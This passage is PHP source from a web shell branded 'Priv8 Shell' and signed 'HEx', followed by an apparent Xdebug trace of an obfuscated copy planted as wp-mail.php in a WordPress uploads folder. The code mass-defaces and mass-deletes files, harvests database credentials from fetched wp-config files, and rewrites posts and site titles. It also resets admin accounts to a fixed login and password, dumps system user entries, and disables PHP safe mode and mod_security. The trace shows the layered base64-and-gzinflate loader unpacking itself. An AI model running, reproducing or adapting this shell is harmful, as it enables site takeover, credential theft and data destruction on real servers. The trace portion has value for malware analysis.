                            $dirc = "{$dir}/{$dirb}";
                            $lokasi = $dirc . '/' . $namafile;
                            if ($dirb === '.') {
                                file_put_contents($lokasi, $isi_script);
                            } elseif ($dirb === '..') {
                                file_put_contents($lokasi, $isi_script);
                            } else {
                                if (is_dir($dirc)) {
                                    if (is_writable($dirc)) {
                                        echo "<font color=blue>[ DONE ] </font><font color=white> {$lokasi}</font><br>";
                                        file_put_contents($lokasi, $isi_script);
                                        $idx = sabun_Massal($dirc, $namafile, $isi_script);
                                    }
                                }
                            }
                        }
                    }
                }
                if ($_POST['Mass'] == 'onedir') {
                    echo "<br> Versi Text Area<br><textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>\r\n";
                    $ini = "http://";
                    $mainpath = $_POST[d_dir];
                    $file = $_POST[d_file];
                    $dir = opendir("{$mainpath}");
                    $code = base64_encode($_POST[script]);
                    $indx = base64_decode($code);
                    while ($row = readdir($dir)) {
                        $start = @fopen("{$row}/{$file}", "w+");
                        $finish = @fwrite($start, $indx);
                        if ($finish) {
                            echo "{$ini}{$row}/{$file}\r\n";
                        }
                    }
                    echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>\r\n";
                    $mainpath = $_POST[d_dir];
                    $file = $_POST[d_file];
                    $dir = opendir("{$mainpath}");
                    $code = base64_encode($_POST[script]);
                    $indx = base64_decode($code);
                    while ($row = readdir($dir)) {
                        $start = @fopen("{$row}/{$file}", "w+");
                        $finish = @fwrite($start, $indx);
                        if ($finish) {
                            echo '<a href="http://' . $row . '/' . $file . '" target="_blank">http://' . $row . '/' . $file . '</a><br>';
                        }
                    }
                } elseif ($_POST['Mass'] == 'sabunkabeh') {
                    gass();
                } elseif ($_POST['Mass'] == 'hapusMassal') {
                    hapus_Massal($_POST['d_dir'], $_POST['d_file']);
                } elseif ($_POST['Mass'] == 'sabunmematikan') {
                    gass_all();
                } elseif ($_POST['Mass'] == 'Massdeface') {
                    echo "<div style='margin: 5px auto; padding: 5px'>";
                    sabun_Massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
                    echo "</div>";
                } else {
                    echo "<center>\t\t<font face='Iceland' color='blue' size='3' >Select Type:<br></font><select class=\"select\" name=\"Mass\"  style=\"width: 450px; background-color:#000000; color:#ffffff\" height=\"10\" ><option value=\"onedir\">Mass Deface 1 Dir</option>\t<option value=\"Massdeface\">Mass Deface ALL Dir</option><option value=\"sabunkabeh\">Current Dir All Files</option>\t<option value=\"sabunmematikan\">Replace Everything With Deface</option><option value=\"hapusMassal\">Mass Delete Files</option></center></select><br><font face='Iceland' color='blue' size='3' >Folder:</font><br>\t<input name='d_dir' value='" . getcwd() . "' required='' type='text' style='width: 450px; background-color:#000000; color:#ffffff' height='10'><br><font face='Iceland' color='blue' size='3' >Filename:</font><br><input type='text' name='d_file' value='index.html' style='width: 450px; background-color:#000000; color:#ffffff' height='10'><br><font face='Iceland' color='blue'  size='3' >Index File:</font><br>\r\n\t\r\n\t<textarea name='script' style='width: 450px; height: 200px; background-color:#000000; color:#ffffff '>  <br><br><br><br><br><center><h1> Hacked By HEx <br> Pakistan Zindabad</h1></center>  </textarea><br>\r\n\t\r\n\t<input type='submit' name='start' value='Mass Deface' style='width: 200px;'></form></center></div>";
                }
            };
            die;
        }
        if (isset($_REQUEST['title'])) {
            echo "<html>\r\n<head>\r\n<style>\r\n@import 'https://fonts.googleapis.com/css?family=Iceland';\r\nhtml,body{\r\n\tbackground: black;\r\n\tpadding: 0;\r\n\tdirection: ltr;\r\n\tmargin: 0;\r\n}\r\nh1{\r\n\tcolor:#16a085;\r\n\ttext-shadow:0 0 5px;\r\n\tfont-family: Iceland;\r\n}\r\n#gter{\r\n\tposition: absolute;\r\n\ttop: 0;\r\n\twidth: 100%;\r\n\ttext-align: center;\r\n\tbackground: black;\r\n\tcolor:#fff;\r\n\tpadding-top: 10px;\r\n\tpadding-bottom: 10px;\r\n\tfont-family: Iceland;\r\n\tmargin-bottom:20px;\r\n}\r\n#gter span{\r\n\tcolor:white;\r\n\tfont-size: 18px;\r\n\ttext-shadow: :0px 0px 15px #00ffff;\r\n}\r\n.f{\r\n\tcolor:white;\r\n\tfont-family: Iceland;\r\n\ttext-shadow: 0 0 15px #00ffff;\r\n\tfont-size: 21px;\r\n}\r\na{\r\n\tfont-family: Iceland;\r\n\ttext-decoration: none;\r\n\tcolor:white;\r\n\ttext-shadow:0 0 15px #0095ff;\r\n}\r\nform{\r\n\tmargin-top: 120px;\r\n}\r\ninput[type=submit]{\r\n\tfont-size:20px;\r\n\theight: 25px;\r\n\twidth: 150px;\r\n\tborder: 2px solid blue;\r\n\tcolor: white;\r\n\tbackground-color: black;\r\n\tfont-family: Iceland;\r\n}\r\ninput[type=submit]:hover{\r\n\tbox-shadow: 0 0 2px #0095ff;\r\n}\r\ninput[type=text]{\r\n\tfont-family:Iceland;\r\n\twidth: 400px;\r\n\theight: 25px;\r\n\tcolor: blue;\r\n\tbackground: #000000;\r\n\tborder: 1px solid #0095ff;\r\n\tpadding: 5px;\r\n\ttext-align: center;\r\n\tfont-size:20px;\r\n}\t\r\ninput[type=text]:focus{\r\n\tbox-shadow: 0 0 3px #0095ff;\r\n}\r\n.heading{\r\n\tcolor:white;\r\n\tfont-size:35px;\r\n\tmargin-top: 20px;\r\n\tmargin-bottom: -110px;\r\n\tfont-family:Iceland;\r\n\ttext-shadow:0px 0px 20px blue;\t\r\n}\r\n</style>";
            error_reporting(0);
            set_time_limit(0);
            @clearstatcache();
            @ini_set('error_log', NULL);
            @ini_set('log_errors', 0);
            @ini_set('max_execution_time', 0);
            @ini_set('output_buffering', 0);
            @ini_set('display_errors', 0);
            if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                set_magic_quotes_runtime(0);
            }
            function GrabUrl($url, $type)
            {
                $urlArray = array();
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_URL, $url);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                $result = curl_exec($ch);
                $regex = '|<a.*?href="(.*?)"|';
                preg_match_all($regex, $result, $parts);
                $links = $parts[1];
                foreach ($links as $link) {
                    array_push($urlArray, $link);
                }
                curl_close($ch);
                foreach ($urlArray as $value) {
                    $lol = "{$url}{$value}";
                    if (preg_match("#{$type}#is", $lol)) {
                        echo "{$lol}\r\n";
                    }
                }
            }
            function ambilKata($param, $kata1, $kata2)
            {
                if (strpos($param, $kata1) === FALSE) {
                    return false;
                }
                if (strpos($param, $kata2) === FALSE) {
                    return false;
                }
                $start = strpos($param, $kata1) + strlen($kata1);
                $end = strpos($param, $kata2, $start);
                $return = substr($param, $start, $end - $start);
                return $return;
            }
            echo "<center><p class='heading'>Priv8 Shell Wp Mass Title Changer</p>\r\n<form method='post'>\r\nLink Config: <br>\r\n<input type='text' name='linkconf' height='10' size='50' placeholder='http://url.com/priv_sym404/'><br>\r\n<input type='submit' style='width: 150px;' name='gass' value='Submit!!'>\r\n</form></center>";
            if ($_POST['gass']) {
                echo "<center>\r\n<form method='post'>\r\nLink Config: <br>\r\n<textarea name='link'>";
                GrabUrl($_POST['linkconf'], 'wordpress');
                echo "</textarea>\r\n\r\n\t<br><div data-role = 'fieldcontain' class = 'ui-hide-label' style='float:left'>\r\n            <label for='name'>ID: </label>\r\n            <input type='text' name='name' id='id' value='1'/>\r\n        </div>\r\n        <div data-role ='fieldcontain' class= 'ui-hide-label' style='float:left'>\r\n            <label for='surname'> TITLE: </label>\r\n            <input type='text' name='title' id='surname' value='Hacked By HEx' />\r\n        </div>\r\n\t\t        <div data-role ='fieldcontain' class= 'ui-hide-label' style='float:left'>\r\n            <label for='surname'> POST CONTENT: </label>\r\n            <input type='text' name='content' id='surname' value='Hacked by HEx | We Are Pakistani Hackers -,- Fuck You Admin' />\r\n        </div>\r\n        <div data-role ='fieldcontain' class= 'ui-hide-label' style='float:left'>\r\n            <label for='surname'> POSTNAME: </label>\r\n            <input type='text' name='postname' id='surname' value='Hacked by HEx' />\r\n        </div> <br>\r\n\r\n<input type='submit' style='width: 150px;' name='edittitle' value='Submit!!'>\r\n</form></center>";
            }
            if ($_POST['edittitle']) {
                $title = htmlspecialchars($_POST['title']);
                $id = $_POST['id'];
                $content = $_POST['content'];
                $postname = $_POST['name'];
                function anucurl($sites)
                {
                    $ch = curl_init($sites);
                    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
                    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
                    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
                    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
                    curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
                    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
                    curl_setopt($ch, CURLOPT_COOKIESESSION, true);
                    $data = curl_exec($ch);
                    curl_close($ch);
                    return $data;
                }
                $link = explode("\r\n", $_POST['link']);
                foreach ($link as $dir_config) {
                    $config = anucurl($dir_config);
                    $dbhost = ambilkata($config, "DB_HOST', '", "'");
                    $dbuser = ambilkata($config, "DB_USER', '", "'");
                    $dbpass = ambilkata($config, "DB_PASSWORD', '", "'");
                    $dbname = ambilkata($config, "DB_NAME', '", "'");
                    $dbprefix = ambilkata($config, "table_prefix  = '", "'");
                    $prefix = $dbprefix . "posts";
                    $option = $dbprefix . "options";
                    $conn = mysql_connect($dbhost, $dbuser, $dbpass);
                    $db = mysql_select_db($dbname);
                    $q = mysql_query("SELECT * FROM {$prefix} ORDER BY ID ASC");
                    $result = mysql_fetch_array($q);
                    $id = $result[ID];
                    $q2 = mysql_query("SELECT * FROM {$option} ORDER BY option_id ASC");
                    $result2 = mysql_fetch_array($q2);
                    $target = $result2[option_value];
                    $update = mysql_query("UPDATE {$prefix} SET post_title='{$title}',post_content='{$content}',post_name='{$postname}',post_status='publish',comment_status='open',ping_status='open',post_type='post',comment_count='1' WHERE id='{$id}'");
                    $update .= mysql_query("UPDATE {$option} SET option_value='{$title}' WHERE option_name='blogname' OR option_name='blogdescription'");
                    echo "<div style='margin: 5px auto;'>";
                    if ($target == '') {
                        echo "URL: <font color=white>Error, I can't take the domain name</font> -> ";
                    } else {
                        echo "URL: <a href='{$target}/?p={$id}' target='_blank'>{$target}/?p={$id}</a> -> ";
                    }
                    if (!$update or !$conn or !$db) {
                        echo "<font color=white>MySQL Error: " . mysql_error() . "</font><br>";
                    } else {
                        echo "<font color=orange>Changed Succeed.</font><br>";
                    }
                    echo "</div>";
                    mysql_close($conn);
                }
            }
            die;
        }
        if (isset($_REQUEST['user'])) {
            echo "<html><head><title>Priv8 Shell Wp Mass User Changer</title></head>\r\n<style>\r\n@import 'https://fonts.googleapis.com/css?family=Iceland';\r\nhtml,body{\r\n\tbackground: black;\r\n\tpadding: 0;\r\n\tdirection: ltr;\r\n\tmargin: 0;\r\n}\r\nh1{\r\n\tcolor:#16a085;\r\n\ttext-shadow:0 0 5px;\r\n\tfont-family: Iceland;\r\n}\r\n#gter{\r\n\tposition: absolute;\r\n\ttop: 0;\r\n\twidth: 100%;\r\n\ttext-align: center;\r\n\tbackground: black;\r\n\tcolor:#fff;\r\n\tpadding-top: 10px;\r\n\tpadding-bottom: 10px;\r\n\tfont-family: Iceland;\r\n\tmargin-bottom:20px;\r\n}\r\n#gter span{\r\n\tcolor:white;\r\n\tfont-size: 18px;\r\n\ttext-shadow: :0px 0px 15px #00ffff;\r\n}\r\n.f{\r\n\tcolor:white;\r\n\tfont-family: Iceland;\r\n\ttext-shadow: 0 0 15px #00ffff;\r\n\tfont-size: 21px;\r\n}\r\na{\r\n\tfont-family: Iceland;\r\n\ttext-decoration: none;\r\n\tcolor:white;\r\n\ttext-shadow:0 0 15px #0095ff;\r\n}\r\nform{\r\n\tmargin-top: 120px;\r\n}\r\ninput[type=submit]{\r\n\tfont-size:20px;\r\n\theight: 25px;\r\n\twidth: 150px;\r\n\tborder: 2px solid blue;\r\n\tcolor: white;\r\n\tbackground-color: black;\r\n\tfont-family: Iceland;\r\n}\r\ninput[type=submit]:hover{\r\n\tbox-shadow: 0 0 2px #0095ff;\r\n}\r\ninput[type=text]{\r\n\tfont-family:Iceland;\r\n\twidth: 400px;\r\n\theight: 25px;\r\n\tcolor: blue;\r\n\tbackground: #000000;\r\n\tborder: 1px solid #0095ff;\r\n\tpadding: 5px;\r\n\ttext-align: center;\r\n\tfont-size:20px;\r\n}\t\r\ninput[type=text]:focus{\r\n\tbox-shadow: 0 0 3px #0095ff;\r\n}\r\n.heading{\r\n\tcolor:white;\r\n\tfont-size:35px;\r\n\tmargin-top: 20px;\r\n\tmargin-bottom: -110px;\r\n\tfont-family:Iceland;\r\n\ttext-shadow:0px 0px 20px blue;\t\r\n}\r\n</style>\r\n</head>\r\n<body>\r\n<center>\r\n<center><p class='heading'>Priv8 Shell Wp Mass User Changer</p></center>\r\n<br /><br />\r\n<form method='post'>\r\n<input type='text' name='config' placeholder='Config URL Here'>\r\n<br><br>\r\n<input type='submit' name='ch' value='Change Admin'>\r\n</form>\r\n</center>";
            set_time_limit(0);
            error_reporting(0);
            if ($_POST['ch']) {
                $get2 = file_get_contents($_POST['config']);
                preg_match_all('#<a href="(.*?)"#', $get2, $config);
                foreach ($config[1] as $don) {
                    $get = file_get_contents($_POST['config'] . "/" . $don);
                    preg_match_all("#'DB_HOST', '(.*?)'#", $get, $host);
                    foreach ($host[1] as $don) {
                        $host = $don;
                    }
                    preg_match_all("#'DB_PASSWORD', '(.*?)'#", $get, $pass);
                    foreach ($pass[1] as $done) {
                        $password = $done;
                    }
                    preg_match_all("#'DB_USER', '(.*?)'#", $get, $user);
                    foreach ($user[1] as $done1) {
                        $user = $done1;
                    }
                    preg_match_all("#'DB_NAME', '(.*?)'#", $get, $name);
                    foreach ($name[1] as $done2) {
                        $name = $done2;
                    }
                    preg_match_all("#{$table_prefix}  = '(.*?)'#", $get, $prefix);
                    foreach ($prefix[1] as $done3) {
                        $prefix = $done3;
                    }
                    $connect = mysqli_connect($host, $user, $password, $name);
                    if ($connect) {
                        $query1 = mysqli_query($connect, "select * from " . $prefix . "options where option_name='siteurl'");
                        while ($siteurl = mysqli_fetch_array($query1)) {
                            $site_url = $siteurl['option_value'];
                        }
                        $query2 = mysqli_query($connect, "update " . $prefix . "users set user_login='pakarmy',user_pass='72e94a0c077a017a6bde7db0aeb514c2'");
                        if ($query2) {
                            echo "<center><span class=f>URL : <a href='{$site_url}/wp-login.php' target='_blank'>{$site_url}/wp-login.php</a><br><br>UserName : pakarmy<br><br>Password : Pakarmy@0882<br><br></span></center>";
                        }
                    }
                }
            }
            echo "</body></html>";
            die;
        }
        if (isset($_REQUEST['reseller'])) {
            echo "<html>  <head> <meta http-equiv='Content-Language' content='fr'> <meta http-equiv='Content-Type' content='text/html; charset=windows-1252'> <title>Priv8 Shell - WHM Resellers Finder</title> <meta name='keywords' content='WHM Resellers Finders ~Sajjad 1337 :: Rizi_haoxr :: Team '> <meta name='description' content='WHM Resellers Finder - coded by: ~Rizi_haxor'> </head>  <body bgcolor='#000000' style='text-align: center'> <p><font size='6' color='#0095ff'>Priv8 Shell WHM & Resellers Finder</font></p>  <center> <table border='1' width='50%' cellspacing='0' cellpadding='15' style='border-width: 0px'> \t\t<tr> \t\t\t<td background='http://buyshellsites.com/bg.gif' style='border-style: none; border-width: medium'> <div align='center'>     <table border='1' width='100%' bgcolor='#000000' cellpadding='0' style='border-collapse: collapse' bordercolor='#333333'> \t<tr> \t\t \t\t<td width='100' align='center'> \t\t<font face='Courier New' size='2' color='#0095ff'>Reseller</font></td> \t\t<td width='100' align='center'> \t\t<font face='Courier New' size='2' color='#0095ff'>Accounts</font></td> \t\t<td width='100' align='center'> \t\t<font face='Courier New' size='2' color='#0095ff'>Symlink</font></td> \t\t \t</tr> </table>   <BR>";
            ## grabs resellerss file
            $lines = file("/etc/trueuserowners");
            ## split pure resellers's names
            for ($i = 0; $i < count($lines); $i++) {
                $values2 = split(': ', $lines[$i]);
                $resellers[$i] = $values2['1'];
            }
            ## remove duplicated resellerss and empty values
            $resellers = array_unique($resellers);
            $resellers = array_filter($resellers);
            foreach ($resellers as $reseller) {
                $count = 0;
                for ($i = 0; $i < count($lines); $i++) {
                    if (strpos($lines[$i], ": {$reseller}")) {
                        $count += 1;
                    }
                }
                print '<table border="1" width="100%" bgcolor="#333333" cellpadding="0" style="border-collapse: collapse" bordercolor="#000000">
	<tr>
		
		<td width="100" align="center">
		<font face="Courier New" size="2" color="#0095ff">' . $reseller . '</font></td>
		<td width="100" align="center">
		<font face="Courier New" size="2" color="#0095ff">' . $count . '</font></td>
		<td width="100" align="center">
		<a href="./sym1/root/home/' . $reseller . '/public_html/" target="_blank"><font face="Courier New" size="2" color="#0095ff">Symlink</font></td>

	</tr>
</table>



<BR></table> </center> </body>  </html>';
            }
            die;
        }
        if (isset($_REQUEST['passwd'])) {
            @ini_set('error_log', NULL);
            @ini_set('log_errors', 0);
            @ini_set('max_execution_time', 0);
            @ini_set('output_buffering', 0);
            @ini_set('display_errors', 0);
            echo "<center>";
            echo "<textarea class='inputz' cols='90' rows='20'>";
            for ($uid = 0; $uid < 60000; $uid++) {
                $ara = posix_getpwuid($uid);
                if (!empty($ara)) {
                    while (list($key, $val) = each($ara)) {
                        print "{$val}:";
                    }
                    print "\r\n";
                }
            }
            echo "</textarea><br><br>";
            die;
        }
        if (isset($_REQUEST['disabled'])) {
            echo "<html>\r\n\r\n<head>\r\n<meta http-equiv='pragma' content='no-cache'>\r\n</head><body>";
            $fp = fopen("php.ini", "w+");
            fwrite($fp, "safe_mode = Off\r\ndisable_functions  =    NONE\r\nopen_basedir = OFF ");
            echo "<center><b><font color='white' size='4'>[SafeMode Done]</font></center>";
            echo "";
            $fp2 = fopen(".htaccess", "w+");
            fwrite($fp2, "\r\n<IfModule mod_security.c>\r\nKillFilterEngine Off\r\nKillFilterScanPOST Off\r\nKillFilterCheckURLEncoding Off\r\nKillFilterCheckUnicodeEncoding Off\r\n</IfModule>\r\n");
            echo "<center><b> <font color='white' size='4'>[Mod_Security Done]</font></center>";
            die;
        }
        // xd
        if (empty($_POST['a'])) {
            if (isset($▚) && function_exists('action' . $▚)) {
                $_POST['a'] = $▚;
            } else {
                $_POST['a'] = 'FilesMan';
            }
        }
        if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) {
            call_user_func('action' . $_POST['a']);
        }
    };
};
exit;

Execution traces

data/traces/052e6e8a1e4c270820c902c8fb5852c7_trace-1676237048.5545.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 19:24:34.452336]
1	0	1	0.000151	393528
1	3	0	0.000722	488728	{main}	1		/var/www/html/uploads/wp-mail.php	0	0
1		A						/var/www/html/uploads/wp-mail.php	2	$▛ = 'aa6db1211fb097a4d11d636b3f1bfaeb'
1		A						/var/www/html/uploads/wp-mail.php	3	$xD = 'ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNEhFeCUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg=='
1		A						/var/www/html/uploads/wp-mail.php	3	$HEx = '=8sWo3OrqjGA/v///1///9+59nd+q9z777v597xfff+Kc/8+//Wbs9/vW/t3Z8/fTSYLfPv//eu//x+r7XjNn988pJDRNJYh24l9LAKcpcfh0JSp+r3bAtpNfXRtKroPAwo4FkPDMvAkztz5hb2gniizABZXFIV/3i/VM/S1t2lmbznw90F8+cVx1kLeGihNPRiU8qh/E0fePRi47ncF3gkS4YIYuMigY1Hr4h41uZdJ+vDjmL9qBHeJXR9LNmT1vLsV6Sg4Wyw1yOb+Q+JwWUZCuisWPK+KqYdsLAPWf9Dz2WggPDRXfa2LxbvBGZgrdC2Z9A/bZx97FYbSXzLFLAg5bdmWGQliIfF52oIQNdqAk5nNPX8Qp6W3tGocxitErZKut9Lo1PTCstXFXFsykkhBUL7CPj3KMsxblb0eL3wMHvzAME8jBUQpVuSqqmVPjqLZ1u8yu5lG6WbPYeZIOwjV+FzusaBN1YDr9yp0eP3dFUrbCJX3zbeVbvowmOBv'
2	4	0	0.000850	488728	base64_decode	0		/var/www/html/uploads/wp-mail.php	3	1	'ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNEhFeCUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg=='
2	4	1	0.000872	489016
2	4	R			'eval%28%26quot%3B%3F%26gt%3B%26quot%3B.gzuncompress%28gzuncompress%28gzinflate%28gzinflate%28gzinflate%28base64_decode%28strrev%28%24HEx%29%29%29%29%29%29%29%29%3B'
2	5	0	0.000893	488984	urldecode	0		/var/www/html/uploads/wp-mail.php	3	1	'eval%28%26quot%3B%3F%26gt%3B%26quot%3B.gzuncompress%28gzuncompress%28gzinflate%28gzinflate%28gzinflate%28base64_decode%28strrev%28%24HEx%29%29%29%29%29%29%29%29%3B'
2	5	1	0.000913	489208
2	5	R			'eval(&quot;?&gt;&quot;.gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($HEx))))))));'
2	6	0	0.000932	488920	htmlspecialchars_decode	0		/var/www/html/uploads/wp-mail.php	3	1	'eval(&quot;?&gt;&quot;.gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($HEx))))))));'
2	6	1	0.000951	489144
2	6	R			'eval("?>".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($HEx))))))));'
2	7	0	0.000982	491264	eval	1	'eval("?>".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($HEx))))))));'	/var/www/html/uploads/wp-mail.php	3	0
3	8	0	0.000999	491264	strrev	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code	1	1	'=8sWo3OrqjGA/v///1///9+59nd+q9z777v597xfff+Kc/8+//Wbs9/vW/t3Z8/fTSYLfPv//eu//x+r7XjNn988pJDRNJYh24l9LAKcpcfh0JSp+r3bAtpNfXRtKroPAwo4FkPDMvAkztz5hb2gniizABZXFIV/3i/VM/S1t2lmbznw90F8+cVx1kLeGihNPRiU8qh/E0fePRi47ncF3gkS4YIYuMigY1Hr4h41uZdJ+vDjmL9qBHeJXR9LNmT1vLsV6Sg4Wyw1yOb+Q+JwWUZCuisWPK+KqYdsLAPWf9Dz2WggPDRXfa2LxbvBGZgrdC2Z9A/bZx97FYbSXzLFLAg5bdmWGQliIfF52oIQNdqAk5nNPX8Qp6W3tGocxitErZKut9Lo1PTCstXFXFsykkhBUL7CPj3KMsxblb0eL3wMHvzAME8jBUQpVuSqqmVPjqLZ1u8yu5lG6WbPYeZIOwjV+FzusaBN1YDr9yp0eP3dFUrbCJX3zbeVbvowmOBv'
3	8	1	0.001106	585504
3	8	R			'ACeA2H8AJoDZfwAhgN5/eJwAIYDef3ichL1Nk7M6F7X3VzJIVZIZH6arXclbqZsGgbElGqEP0CQFiGoMAtM2bWN+fTYns3eSwVPnnH66bZD2XutaIMT/9X/P8fy//K/D+8f6H3X1aD8O/49um5tu//f/rXHpu3CTpw7C7X/7P/7P/3Vre/t//h3lznM9qkdZULP/ztxr5//vcx795v7Pv1OOaFOstAqHmtI5Dir7H/9j/129/B7+598l4t/WjIudD+tWSU0ubmiTHtkpR4dy00PlJPdqsF4pIigbV/gZiTFHCZULxYMnOBezCr1LHumw2jqWc5LXW+ilBbnl0fFDjjennW53KW52Ha4LdbAjojnToWfXgpxbbs8NS6w6ME6VP9xGoC9suhL3/I7Nz0YkcVJhnsSxx2z0rtVmjAzMn2D+KQ/IoYqpw2Lq1RF3eaRGZfwPFpdPHNMrL1Sme+Fzh8R68E4s0B/VSISM+JuMpxeJlg/MX7YcujT9WrAIjz2X'
3	9	0	0.001190	585472	base64_decode	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code	1	1	'ACeA2H8AJoDZfwAhgN5/eJwAIYDef3ichL1Nk7M6F7X3VzJIVZIZH6arXclbqZsGgbElGqEP0CQFiGoMAtM2bWN+fTYns3eSwVPnnH66bZD2XutaIMT/9X/P8fy//K/D+8f6H3X1aD8O/49um5tu//f/rXHpu3CTpw7C7X/7P/7P/3Vre/t//h3lznM9qkdZULP/ztxr5//vcx795v7Pv1OOaFOstAqHmtI5Dir7H/9j/129/B7+598l4t/WjIudD+tWSU0ubmiTHtkpR4dy00PlJPdqsF4pIigbV/gZiTFHCZULxYMnOBezCr1LHumw2jqWc5LXW+ilBbnl0fFDjjennW53KW52Ha4LdbAjojnToWfXgpxbbs8NS6w6ME6VP9xGoC9suhL3/I7Nz0YkcVJhnsSxx2z0rtVmjAzMn2D+KQ/IoYqpw2Lq1RF3eaRGZfwPFpdPHNMrL1Sme+Fzh8R68E4s0B/VSISM+JuMpxeJlg/MX7YcujT9WrAIjz2X'
3	9	1	0.001483	679712
3	9	R			'\000\'��\000&��\000!��x�\000!��x���M��:\027��W2HU�\031\037��]�[��\006��%\032�\017�$\005�j\f\002�6mc~}6\'�w��S�~�m��^�Z �������\037u�h?\016��n��n����q�p��\016���?��uk{��\035��s=�GYP����k��s\036��ϿS�hS��\n���9\016*�\037�c�]��\036���%��֌��\017�VIM.nh�\036�)G�r�C�$�j�^)"(\033W�\031�1G\t�\vŃ\'8\027�\n�K\036��:�s��[�\005����C�7��nw)nv\035�\vu�#�9ӡgׂ�[n�\rK�:0N�?�F�/l�\022�����F$qRa�ı�l��f�\f̟`�)\017ȡ���b��\021wy�Fe�\017\026�O\034�+/T�{�s��z�N,�\037�H������\027��\017�_�\034�4�Z�\b�=��7'
3	10	0	0.002750	585472	gzinflate	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code	1	1	'\000\'��\000&��\000!��x�\000!��x���M��:\027��W2HU�\031\037��]�[��\006��%\032�\017�$\005�j\f\002�6mc~}6\'�w��S�~�m��^�Z �������\037u�h?\016��n��n����q�p��\016���?��uk{��\035��s=�GYP����k��s\036��ϿS�hS��\n���9\016*�\037�c�]��\036���%��֌��\017�VIM.nh�\036�)G�r�C�$�j�^)"(\033W�\031�1G\t�\vŃ\'8\027�\n�K\036��:�s��[�\005����C�7��nw)nv\035�\vu�#�9ӡgׂ�[n�\rK�:0N�?�F�/l�\022�����F$qRa�ı�l��f�\f̟`�)\017ȡ���b��\021wy�Fe�\017\026�O\034�+/T�{�s��z�N,�\037�H������\027��\017�_�\034�4�Z�\b�=��7'
3	10	1	0.004089	655136
3	10	R			'\000&��\000!��x�\000!��x���M��:\027��W2HU�\031\037��]�[��\006��%\032�\017�$\005�j\f\002�6mc~}6\'�w��S�~�m��^�Z �������\037u�h?\016��n��n����q�p��\016���?��uk{��\035��s=�GYP����k��s\036��ϿS�hS��\n���9\016*�\037�c�]��\036���%��֌��\017�VIM.nh�\036�)G�r�C�$�j�^)"(\033W�\031�1G\t�\vŃ\'8\027�\n�K\036��:�s��[�\005����C�7��nw)nv\035�\vu�#�9ӡgׂ�[n�\rK�:0N�?�F�/l�\022�����F$qRa�ı�l��f�\f̟`�)\017ȡ���b��\021wy�Fe�\017\026�O\034�+/T�{�s��z�N,�\037�H������\027��\017�_�\034�4�Z�\b�=��7� :���<�3'
3	11	0	0.005343	560896	gzinflate	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code	1	1	'\000&��\000!��x�\000!��x���M��:\027��W2HU�\031\037��]�[��\006��%\032�\017�$\005�j\f\002�6mc~}6\'�w��S�~�m��^�Z �������\037u�h?\016��n��n����q�p��\016���?��uk{��\035��s=�GYP����k��s\036��ϿS�hS��\n���9\016*�\037�c�]��\036���%��֌��\017�VIM.nh�\036�)G�r�C�$�j�^)"(\033W�\031�1G\t�\vŃ\'8\027�\n�K\036��:�s��[�\005����C�7��nw)nv\035�\vu�#�9ӡgׂ�[n�\rK�:0N�?�F�/l�\022�����F$qRa�ı�l��f�\f̟`�)\017ȡ���b��\021wy�Fe�\017\026�O\034�+/T�{�s��z�N,�\037�H������\027��\017�_�\034�4�Z�\b�=��7� :���<�3'
3	11	1	0.006604	630560
3	11	R			'\000!��x�\000!��x���M��:\027��W2HU�\031\037��]�[��\006��%\032�\017�$\005�j\f\002�6mc~}6\'�w��S�~�m��^�Z �������\037u�h?\016��n��n����q�p��\016���?��uk{��\035��s=�GYP����k��s\036��ϿS�hS��\n���9\016*�\037�c�]��\036���%��֌��\017�VIM.nh�\036�)G�r�C�$�j�^)"(\033W�\031�1G\t�\vŃ\'8\027�\n�K\036��:�s��[�\005����C�7��nw)nv\035�\vu�#�9ӡgׂ�[n�\rK�:0N�?�F�/l�\022�����F$qRa�ı�l��f�\f̟`�)\017ȡ���b��\021wy�Fe�\017\026�O\034�+/T�{�s��z�N,�\037�H������\027��\017�_�\034�4�Z�\b�=��7� :���<�3���{���c'
